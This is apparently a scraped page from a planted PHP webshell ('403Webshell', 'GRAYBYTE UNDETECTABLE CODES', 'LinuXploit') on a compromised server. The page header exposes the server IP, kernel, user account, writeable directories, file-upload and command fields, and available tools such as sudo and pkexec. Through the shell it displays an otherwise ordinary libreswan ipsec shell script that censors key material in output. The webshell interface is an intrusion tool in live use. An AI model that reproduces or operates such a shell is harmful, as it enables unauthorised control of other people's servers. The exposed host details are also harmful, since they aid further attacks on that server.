- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.149.214.28
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/ipsec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/ipsec/_secretcensor
#!/usr/bin/sh
# -*- mode: sh; sh-shell: sh -*-
# implements secret censoring for barf
# Copyright (C) 1999  Henry Spencer.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.  See <https://www.gnu.org/licenses/gpl2.txt>.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
# for more details.

usage="Usage: $0 [file ...]"
me="ipsec _secretcensor"

while [ "$#" != 0 ]
do
	case "$1" in
	--help)		echo "$usage" ; exit 0	;;
	--version)	echo "$me $IPSEC_VERSION" ; exit 0		;;
	--)		shift ; break		;;
	-*)		echo "$0: unknown option \`$1'" >&2 ; exit 2	;;
	*)		break			;;
	esac
	shift
done

awk '	function cool(hot,   q, cooled, run) {
		# warning:  may destroy input line!
		q = "'"'"'"	# single quote
		if (hot ~ q)
			return "[cannot be summed]"
		if (hot ~ /^0s/)
			return "[keyid " substr(hot, 3, 9) "]"
		run = "echo " q hot q " | md5sum"
		run | getline
		close(run)
		return "[sums to " substr($1, 1, 4) "...]"
	}
	/"/ {
		i = match($0, /"[^"]+"/)
		cold1 = substr($0, 1, i)
		cold2 = substr($0, i+RLENGTH-1)
		hot = substr($0, i+1, RLENGTH-2)
		print cold1 cool(hot) cold2
		next
	}
	/#pubkey=/ {
		i = match($0, /^.*#pubkey=/)
		i += RLENGTH-1
		cold = substr($0, 1, i)
		hot = substr($0, i+1)
		print cold cool(hot)
		next
	}
	/#IN KEY / {
		i = match($0, /^.*[ \t][^ \t]/)
		i += RLENGTH-2
		cold = substr($0, 1, i)
		hot = substr($0, i+1)
		print cold cool("0s" hot)
		next
	}
	/^[ \t]+(Modulus|P[a-z]+Exponent|Prime[12]|Exponent[12]|Coefficient):/ {
		i = match($0, /^[^:]*:[ \t]*/)
		i += RLENGTH-1
		cold = substr($0, 1, i)
		print cold "[...]"
		next
	}
	{ print }' "$@"

Youez - 2016 - github.com/yon3zu
LinuXploit